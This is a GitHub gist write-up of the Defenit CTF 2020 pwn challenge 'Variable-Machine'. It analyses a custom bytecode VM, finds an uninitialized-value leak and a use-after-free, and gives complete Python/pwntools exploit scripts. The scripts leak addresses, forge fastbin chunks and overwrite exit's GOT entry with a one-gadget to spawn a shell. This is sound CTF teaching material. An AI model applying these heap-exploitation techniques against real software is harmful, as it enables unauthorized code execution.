Skip to content

Instantly share code, notes, and snippets.

@Stfort52
Last active September 14, 2020 05:07
Show Gist options
  • Save Stfort52/1c0703e6a1f71197f2be6ae305cf35c3 to your computer and use it in GitHub Desktop.
Save Stfort52/1c0703e6a1f71197f2be6ae305cf35c3 to your computer and use it in GitHub Desktop.
Defenit2020 Variable-Machine

Defenit2020 Variable-Machine

This is a writeup for the pwn challenge Variable-Machine in Defenit CTF 2020.

Problem

We are only provided with a binary called main .

Goal

Pwn problem. Get the shell

Analysis

As the name says, this program has a slot for 256 variables. There are three variable types, INT, CHAR, and STRING. They are all managed by a structure. I named it variable.

00000000 variable        struc ; (sizeof=0x10, 	mappedto_9)
00000000 type            dq ?                    ; offset
00000008 value           types ?
00000010 variable        ends

The field type is a const char *, pointing to the string such as INT, CHAR, and STRING. This field is used to identify the type of the variable in the runtime. The field value is a union which I named types.

00000000 types           union ; (sizeof=0x8, mappedto_10)
00000000                                         ; XREF: variable/r
00000000 STRING          dq ?                    ; offset
00000000 INT             dq ?
00000000 CHAR            db ?
00000000 types           ends

Type INT and CHAR are just respectively int and char, but type STRING is a pointer to the structure which i named string.

00000000 string          struc ; (sizeof=0x10, mappedto_7)
00000000 str             dq ?                    ; offset
00000008 len             dq ?
00000010 string          ends

The str field is a char *, and the len contains the length of the string, regardless of the size of the buffer which str field points to.

This virtual machine allows us to execute up to 0x2000 bytes of code. There are 6 different opcodes available.

01 XX 00 YY Allocate new int YY into slot XX
01 XX 01 YY Allocate new char YY into slot XX
01 XX 02 YY Allocate new string sized YY into slot XX
02 XX 	    Mark varialbe in slot XX for removal
03 XX YY    int,char; Update variable in slot XX with YY
            string; Write YY bytes on string in slot XX
04 XX		Print variable in slot XX
05 01 XX YY Perform XX += YY
05 02 XX YY Perform XX -= YY
05 03 XX YY Perform XX *= YY
05 04 XX YY Perform XX /= YY
06 01 XX YY Concat two chars XX and YY into string in XX
06 02 XX YY Concat two strings XX and YY into string in XX

Most of the dynamic allocations are managed by a singly linked list. So, the program uses its own malloc wrapper.

void *__fastcall new_node(int count, int size)
{
  void *buf; // ST10_8
  node *last_node; // ST08_8

  buf = malloc(size * count);
  memset(buf, 0, size * count);
  last_node = search(0LL);
  last_node->next = (node *)calloc(1uLL, 0x18uLL);
  last_node->next->field = (char *)buf;
  last_node->next->status = ACTIVE;
  return buf;
}

The search() functions returns the node * to the requested pointer, and It returns the last node if its not found. The node structure looks like this.

00000000 node            struc ; (sizeof=0x18, mappedto_6)
00000000 field           dq ?                    ; offset
00000008 status          dd ?                    ; enum NODESTATE
0000000C _               dd ?
00000010 next            dq ?                    ; offset
00000018 node            ends

When we delete a variable, it's not deleted on the site. It's status field is changed into 0, marking it for deletion. For this, there is a thread routine.

The thread routine continuously examines the whole linked list, and if it finds a node marked for removal, it will free the field field of the node structure and change the status field to -1. It keeps the node itself tho.

The binary has a partial RELRO and PIE.

solve

There is a code leak in the opcode 5, calculation.

if ( !strcmp(variables[opr_2]->type, "INT") && !strcmp(variables[(unsigned __int8)code]->type, "INT") )
  {
    switch ( opr_1 )
    {
      case 1:
        result.INT = variables[(unsigned __int8)code]->value.INT + variables[opr_2]->value.INT;
        break;
      case 2:
        result.INT = variables[opr_2]->value.INT - variables[(unsigned __int8)code]->value.INT;
        break;
      case 3:
        result.INT = variables[(unsigned __int8)code]->value.INT * variables[opr_2]->value.INT;
        break;
      case 4:
        if ( variables[(unsigned __int8)code]->value.INT )
          div_result = (unsigned __int64)variables[opr_2]->value.INT / variables[(unsigned __int8)code]->value.INT;
        else
          div_result = variables[opr_2]->value.INT;
        result.INT = div_result;
        break;
    }
    variables[opr_2]->value = result;
    success = 1;
  }

There is no default statement and it will put uninitialized result in the variables[opr_2]->value when it meets a bad operation other than 0,1,2,3. The result holds the address which can be used to leak. This is not necessary for solution, but I used this to overwrite GOT because I prefer it over overwriting __free_hook.

Then the major vulnerability is on the opcode 6, concatenation.

if ( opr_1 == 1 )
  {
    if ( strcmp(variables[opr_2]->type, "CHAR") || strcmp(variables[opr_3]->type, "CHAR") )
      return 0;
    opr_2_char = variables[opr_2]->value.CHAR;
    opr_3_char = variables[opr_3]->value.CHAR;
    snprintf(s, 3uLL, "%c%c", (unsigned int)(char)opr_2_char, (unsigned int)(char)opr_3_char);
    variables[opr_2]->type = "STRING";
    variables[opr_2]->value.STRING = (string *)new_node(1, 16);
    len = strlen(s);
    variables[opr_2]->value.STRING->len = len;
    str = strdup(s);
    variables[opr_2]->value.STRING->str = str;
  }

The CHAR concatenation doesn't use a new_node() to allocate new buffer. It uses strdup() to allocate it. This means that the string created by concatenating two chars will not exist on the linked list. So, when we attempt to delete them, it will delete the Last node regardless. Then, we can trigger some UAF.

By creating stings sized in fastbin and small bin, we can get libc and heap leaks. Then, I made 5 fake chunks with size 0x20 in the allocated heap, and altered the freed chunks fd to point it. 5 fake chunks are needed because allocating a new string involves 3 malloc() and calloc() calls. This will result in 5 fake fastbins overlapping with a rather bigger chunk. Then, I can just overwrite what I want in those chunks.

Of course, I overwrote the char * of the str field of the structure string with the address of GOT of exit(), Then I just simply wrote the one-gadget address onto it. rax was NULL at the call. Finally, I added a bad opcode to the end in order to trigger exit.

Please refer to the solver.py for the solution, and the helper.py for the variable machine code.

#!/usr/bin/python
def new_int(value, index):
return "\x01"+chr(index)+"\x00"+chr(value)
def new_string(length, index):
return "\x01"+chr(index)+"\x01"+chr(length)
def new_char(value, index):
return "\x01"+chr(index)+"\x02"+chr(value)
def delete(index):
return "\x02"+chr(index)
def write(index, value):
return "\x03"+chr(index)+chr(value)
def printv(index):
return "\x04"+chr(index)
def add(src, dest):
return "\x05\x01"+chr(src)+chr(dest)
def sub(src, dest):
return "\x05\x02"+chr(src)+chr(dest)
def mul(src, dest):
return "\x05\x03"+chr(src)+chr(dest)
def div(src, dest):
return "\x05\x04"+chr(src)+chr(dest)
def invalid_cal(src, dest):
return "\x05\x05"+chr(src)+chr(dest)
def chrcat(src, dest):
return "\x06\x01"+chr(src)+chr(dest)
def strcat(src, dest):
return "\x06\x02"+chr(src)+chr(dest)
def code_leak():
payload = ""
payload += new_int(0, 0)
payload += invalid_cal(0,0)
payload += printv(0)
with open("codeleak", "w") as f:
f.write(payload)
if __name__ == "__main__":
payload = ""
payload += new_char(0x30, 0)
payload += new_char(0x31, 1)
payload += new_string(0x40, 2)
payload += printv(0)
payload += printv(1)
payload += printv(2)
payload += write(2, 0x39)
payload += strcat(2,2)*2 #ensure size....we neeeeed small bins....
payload += printv(2)
payload += chrcat(0, 1) #trigger strdup()
payload += delete(1)
payload += new_int(0, 101)
payload += invalid_cal(101, 101)
payload += printv(101) #code leak!
payload += strcat(0, 2)
payload += printv(0) #libc leak!
#now fix the chaotic heap and do the same thing again with fastbin size
payload += new_char(0x40, 3)
payload += new_char(0x41, 4)
payload += new_string(0x40, 5)
payload += printv(3)
payload += printv(4)
payload += printv(5)
payload += write(5, 0x39)
payload += printv(5)
payload += chrcat(3,4)
payload += new_char(0x40, 6)
payload += new_char(0x41, 7)
payload += printv(6)
payload += printv(7)
payload += chrcat(6,7)
payload += strcat(3,5)
payload += strcat(6,5)
payload += printv(3)
payload += printv(6)
payload += printv(0)
payload += write(0, 8)
payload += printv(0) # Heap leak!
#write 5 fake chunks :D
payload += write(3, 0xa0) #i don't know why
payload += new_string(0x48, 13)
payload += new_string(0x10, 8)
payload += printv(8)
payload += write(8, 16)
payload += printv(8)
payload += new_char(0x40, 9)
payload += new_char(0x41, 10)
payload += printv(9)
payload += printv(10)
payload += chrcat(9, 10)
payload += strcat(9, 8)
payload += printv(9)
payload += write(9, 8) #make this point to the fake chunk
payload += printv(9)
payload += new_string(0x10, 15)
payload += printv(15)
payload += write(2, 0x38) #overwrite fake chunk
payload += printv(15)
payload += write(15, 8) #now overwrite GOT
payload += printv(15)
payload += printv(80) #invalid. will grant a shell
with open("payload", "w") as f:
f.write(payload)
#!/usr/bin/python
from pwn import *
from helper import *
from time import sleep
context.log_level=10
context.terminal = "xterm"
#context.aslr = False
p = process("./main")
#p =gdb.debug("./main", gdbscript="session restore\n")
payload = "payload"
if __name__ == "__main__":
with open(payload) as f:
p.sendafter("Code :> ",f.read())
p.send("A"*0x39)
sleep(0.5)
p.recvuntil("INT 101 : ")
code = int(p.recvuntil("]\n",drop=True)) - 0xe32
print("CODEBASE : {}".format(hex(code)))
p.recvuntil("[STRING 0 : ")
MainArena88 = u64(p.recvuntil("]\n",drop=True).ljust(8,"\0"))
exitgot = code + 0x203080
onegadget = MainArena88 - 0x3c4b78+ 0x45216
print("MainArena+88 : {}".format(hex(MainArena88)))
p.send("C"*0x39)
sleep(0.5)
p.send("G"*8)
sleep(0.5)
p.recvuntil("STRING 0 : GGGGGGGG")
Heapbase = u64(p.recvuntil("]\n",drop=True).ljust(8,'\0')) - 0x25c0
print("HEAPBASE : {}".format(hex(Heapbase)))
FakeChunk = Heapbase + 0x2360
fake = "\xef\xbe\xad\xde"*2+p64(0x21)+p64(FakeChunk+0x20)+"A"*0x10+p64(0x21)+p64(FakeChunk+0x40)+"A"*0x10+p64(0x21)+p64(FakeChunk+0x60)+"A"*0x10
fake +=p64(0x21)+p64(FakeChunk+0x80)+"A"*0x10+p64(0x21)+p64(0)
p.send(fake.ljust(0xa0))
sleep(0.5)
p.send("/bin/sh\0".ljust(16))
sleep(0.5)
p.send((p64(FakeChunk)+"A"*8+p64(0x21)+p64(Heapbase+0x29e0)+p64(1)+p64(Heapbase+0x23b0)+p64(0x21)+p64(exitgot)))
sleep(0.5)
p.send(p64(onegadget))
sleep(0.5)
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment